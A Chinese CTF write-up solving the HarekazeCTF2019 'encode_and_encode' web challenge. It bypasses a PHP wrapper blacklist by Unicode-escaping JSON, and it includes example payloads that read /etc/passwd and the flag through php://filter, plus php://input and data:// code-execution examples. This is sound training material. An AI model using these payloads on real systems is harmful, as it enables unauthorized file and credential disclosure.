BUUCTF-WEB [HarekazeCTF2019]encode_and_encode 1

考点

代码审计(json_decode特性绕过过滤)

前置知识

json_decode特性

1
可以接收Unicode编码后的字符
1
2
3
4
5
6
$js = json_decode('{"name": "\u0068\u0065\u006c\u006c\u006f"}');
print_r($js);
//stdClass Object
//(
// [name] => hello
//)

php伪协议

file://

用于访问文件(绝对路径、相对路径、网络路径)

1
http://www.xx.com?file=file:///etc/passswd

php://

访问输入输出流

1
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

参数

1
2
3
4
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

php://input

1
2
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

注意:enctype="multipart/form-data" 的时候 php://input 是无效的

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

来源:https://www.cnblogs.com/wjrblogs/p/12285202.html

解题过程

打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

分析

这段代码的有类似与文件读取的功能,通过file_get_contents函数来读取。这个函数可以使用file://php://filterdata://协议。但是这里有一个函数专门过滤了常用的php伪协议,还有flag字符。

这个函数检测了两次,第一次检测输入的数据$body = file_get_contents('php://input');,第二次检测了被读取文件的数据$content = file_get_contents($page);。最后还有一个无关紧要的替换正则。那么怎么才能绕过这两个条件,读取到flag文件呢?

这道题的解题的一个关键点,json_decode函数的特性,json_decode函数能够接收Unicode编码后的字符

1
2
3
4
5
6
$js = json_decode('{"name": "\u0068\u0065\u006c\u006c\u006f"}');
print_r($js);
//stdClass Object
//(
// [name] => hello
//)

上面这个if (is_valid($body) && isset($json) && isset($json['page']))条件,只对$body进行了检测,并没有对$json检测,所以通过传入Unicode编码后的字符,is_valid就检测不出来。

这里先构造

1
file:///etc/passwd
1
{"page":"\u0066\u0069\u006c\u0065\u003a\u002f\u002f\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064"}

image-20211010212043220

回显{"content":"<p>not found<\/p>\n"},猜测读取的内容当中存在is_valid函数过滤的字符。

这里直接使用php://filter 协议进行base64编码后再输出

1
php://filter/read=convert.base64-encode/resource=/etc/passwd
1
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064"}

回显

image-20211010212500346

读取flag

直接读取flag

1
php://filter/read=convert.base64-encode/resource=/flag
1
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

image-20211010212631149

解码

image-20211010212658383

总结

这道题如果知道json_decode特性后,还算是一道比较简单的题,学到了。